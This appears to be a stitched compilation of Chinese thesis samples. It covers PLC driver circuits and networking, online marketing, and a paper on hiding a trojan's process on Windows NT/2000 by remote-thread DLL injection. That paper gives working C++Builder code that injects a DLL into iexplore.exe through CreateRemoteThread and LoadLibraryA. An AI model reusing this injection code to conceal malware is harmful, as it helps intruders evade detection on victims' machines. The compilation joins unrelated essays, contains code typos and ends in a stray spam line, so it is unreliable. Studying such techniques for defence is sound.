4.PC外部驅動電路對于PC輸出不能直接帶動負載的情況下,必須在外部采用驅動電路:可以用三極管驅,也可以用固態繼電器或晶閘管電路驅動,同時應采用保護電路和浪涌吸收電路,且每路有顯示二極管(LED)指示。印制板應做成插拔式,易于維修。

PC的輸入輸出布線也有一定的要求,請看各公司的使用說明書。

擴展模塊的選用

對于小的系統,如80點以內的系統.一般不需要擴展;當系統較大時,就要擴展。不同公司的產品,對系統總點數及擴展模塊的數量都有限制,當擴展仍不能滿足要求時,可采用網絡結構;同時,有些廠家產品的個別指令不支持擴展模塊,因此,在進行軟件編制時要注意。當采用溫度等模擬模塊時,各廠家也有一些規定,請看相關的技術手冊。

各公司的擴展模塊種類很多,如單輸入模塊、單輸出模塊、輸入輸出模塊、溫度模塊、高速輸入模塊等。PC的這種模塊化設計為用戶的產品開發提供了方便。

PC的網絡設計

當用PC進行網絡設計時,其難度比PC單機控制大得多。首先你應選用自己較熟悉的機型,對其基本指令和功能指令有較深入的了解,并且指令的執行速度和用戶程序存儲容量也應仔細了解。否則,不能適應你的實時要求,造成系統崩潰。另外,對通信接口、通信協議、數據傳送速度等也要考慮。

最后,還要向PC的商家尋求網絡設計和軟件技術支持及詳細的技術資料,至于選用幾層工作站,依你的系統大小而定。

計算機畢業論文范文5

網絡營銷是一種以消費者為導向,強調個人化的營銷方式

網絡營銷最大的特點在于以消費者為主導。消費者將擁有比過去更大的選擇自由,他們可根據自己的個性特點和需求在全球范圍內尋找滿足品,不受地域限制。通過進入感興趣的的企業網址或虛擬商店,消費者可獲取產品的更多的相關信息,使購物更顯個性。

這種個性消費的發展將促使企業重新考慮其營銷戰略以消費者的個性需求作為提品及服務的出發點。但是,要真正實現個性營銷還必須解決龐大的促銷費用問題。網絡營銷的出現則為這一難題提供了可行的解決途徑。企業的各種銷售信息在網絡上將以數字化的形式存在,可以以極底的成本發送并能隨時根據需要進行修改,龐大的促銷費用因而得以節省。企業也可以根據消費者反饋的信息和要求通過自動服務系統提供特別服務。

網絡營銷具有極強的互動性是實現全程營銷的理想工具

傳統的傳統的營銷管理強調4P(產品、價格、渠道和促銷)組合,現代營銷管理則追求4C(顧客、成本、方便和溝通),然而無論那一種觀念都必須基于這樣一個前提:企業必須實行全程營銷,即必須由產品的設計階段開始就充分考慮消費者的需求和意愿。

遺憾的是,在實際操作中這一點往往難以做到。原因在于消費者與企業之間缺乏合適的溝通渠道或溝通成本太高。消費者一般只能針對現有產品提出建議或批評,對尚處于概念階段的產品難以涉足。此外,大多數的中小企業也缺乏足夠的資本用于了解消費者的各種潛在需求,他們只能憑自身能力或參照市場領導者的策略進行產品開發。

而在網絡環境下,這一狀況將有所改觀。即使是中小企業也可以通過電子布告欄、線上討論廣場和電子郵件等方式,以極底成本在營銷的全過程中對消費者進行即時的信息搜索,消費者則有機會對產品從設計到定價(對采用理解價值定價法的企業尤為重要)和服務等一系列問題發表意見。這種雙向互動的溝通方式提高了消費者的參與性與積極性,更重要的是它能使、企業的決策有的放矢,從根本上提高消費者滿意度。

網絡營銷能滿足消費者對購物方便性的需求,提高消費者的購物效率

現代化的生活節奏已使消費者用于外出在商店購物的時間越來越短。在傳統的購物方式中,從商品買賣過程來看,一般需要經過看樣棗選擇商品棗確定所需購買的商品棗付款結算棗包裝商品棗取貨(或送貨)等一系列過程。這個買賣過程大多數是在售貨地點完成的,短則幾分鐘,長則數個小時,在加上購買為購買商品去購物場所的路途時間、購買后的返途時間及在購買地的逗留時間,無疑是大大延長了商品的買賣過程,使消費者為購買商品而在時間和精力上作出很大的付出。同時,擁擠的交通和日益擴大的店面更延長了消費者購物所耗費的時間和精力。然而,在現代社會,隨著生活節奏的加快,使得人們越來越珍惜閑暇時間,越來越希望在閑暇時間內從事一些有益于身心的活動,并充分地享受生活。在這中情況下,人們用于外出購物的時間越來越少。

計算機畢業論文范文6

摘要進程的隱藏一直是木馬程序設計者不斷探求的重要技術,本文采用遠程線程技術,通過動態鏈接庫方法,較好地解決了這一問題,通過遠程線程將木馬作為線程隱藏在其他進程中,從而達到隱藏的目的。

關鍵字進程線程木馬動態鏈接庫

木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關心的焦點。

本文分析了WindowsNT/2000系統下進程隱藏的基本技術和方法,并著重討論運用線程嫁接技術如何實現WindowsNT/2000系統中進程的隱藏。

1基本原理

在WIN95/98中,只需要將進程注冊為系統服務就能夠從進程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務管理器,WindowsNT/2000的任務管理器均能輕松顯示出木馬進程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統下,可執行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發現木馬的方法之一,隨著入侵檢測軟件的不斷發展,關聯進程和SOCKET已經成為流行的技術,假設一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發現木馬線程的存在,從而達到隱藏的目的。

2實現方法

為了弄清實現方法,我們必須首先了解Windows系統的另一種"可執行文件"----DLL,DLL是DynamicLinkLibrary(動態鏈接庫)的縮寫,DLL文件是Windows的基礎,因為所有的API函數都是在DLL中實現的。DLL文件沒有程序邏輯,是由多個功能函數構成,它并不能獨立運行,一般都是由進程加載并調用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現DLL,假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現那個進程而并不會出現木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。

運行DLL方法有多種,但其中最隱蔽的方法是采用動態嵌入技術,動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有內存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們仍然可以利用種種方法進入并操作進程的私有內存。動態嵌入技術有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術,它只要有基本的進線程和動態鏈接庫的知識就可以很輕松地完成動態嵌入。

遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。

3實施步驟

1)用Process32Next()函數找到宿主進程,獲取宿主進程ID,并用

OpenProcess()函數打開宿主進程。

2)用VirtualAllocEx()函數分配遠程進程地址空間中的

內存。

3)用WriteProcessMemory()函數將待隱藏的DLL的路徑名。

4)拷貝到步驟二已經分配的內存中。

5)用GetProcAddress()函數獲取LoadlibraryA()函數的實地址(在kernel32.dll中)。

6)用CreateRemoteThread()函數在遠程進程中創建一個線程。

7)它調用正確的LoadlibraryA()函數。

8)為它傳遞步驟二中分配的內存地址。

4具體實例

下面是在C++Builder4.0環境下編寫的運用遠程線程技術隱藏木馬的程序代碼:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進程快照句柄

HANDLEhRemoteProcess;//遠程進程句柄

LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開進程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個進程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進程,以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程

}

else

{

MessageBox(NULL,"取第一個進程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開遠程進程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設hide.dll是待隱藏的進程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫入申請的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動態鏈接庫函數地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創建遠程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關閉遠程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關閉進程快照

}

該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經正常地在遠程線程運行,我同樣在C++Builder4.0環境下編寫并編譯了下面的hide.dll作為測試:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當前進程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

這證明hide.dll已經在IEXPLORE.EXE進程內正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。

5結束語

進程隱藏技術和方法有很多,而且這一技術發展也相當快,本文僅從一個側面加以討論,希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。

參考文獻

亚洲精品一二三区-久久